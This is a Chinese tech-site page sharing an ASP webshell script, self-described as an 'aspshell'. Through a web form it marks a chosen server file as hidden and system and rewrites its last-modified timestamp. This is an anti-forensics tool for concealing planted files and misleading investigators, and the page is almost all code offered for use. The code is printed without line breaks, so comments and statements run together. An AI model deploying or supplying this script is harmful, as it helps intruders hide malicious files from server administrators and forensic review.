首页 电脑 电脑学堂 查看内容

隐藏修改文件时间和文件属性ASP脚本

2009-10-11 10:40 704 0

摘要: <%'隐藏并修改文件的最后修改时间的aspshell'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文...
关键词: response fileName set path write 文件 shell newTime request file

<%'隐藏并修改文件的最后修改时间的aspshell'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件'       通过shell.application可以给文件重新设置一个最后修改时间'2009/02/24 write by skyfireresponse.write "<form method=post>"response.write "路&nbsp;&nbsp;&nbsp;&nbsp;径:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />"response.write "文件名称:<input name=filename value='test.txt' size='30'><br />"response.write "修改时间:<input name=time value='12/30/2099 12:30:30' size='30'><br />"response.write "<input type=submit value=修改并隐藏文件>"response.write "</form>" '获取提交的参数set path=request.Form("path")set fileName=request.Form("filename")set newTime=request.Form("time") if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then '通过fso设置文件属性Set fso=Server.CreateObject("Scripting.FileSystemObject")Set file=fso.getFile(path&fileName)file.attributes=2+4 '设置文件属性为隐藏+系统 '通过shell.Application修改文件的最后修改时间Set shell=Server.CreateObject("Shell.Application")Set app_path=shell.NameSpace(server.mappath("."))Set app_file=app_path.ParseName(fileName)app_file.Modifydate=newTime end if%>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部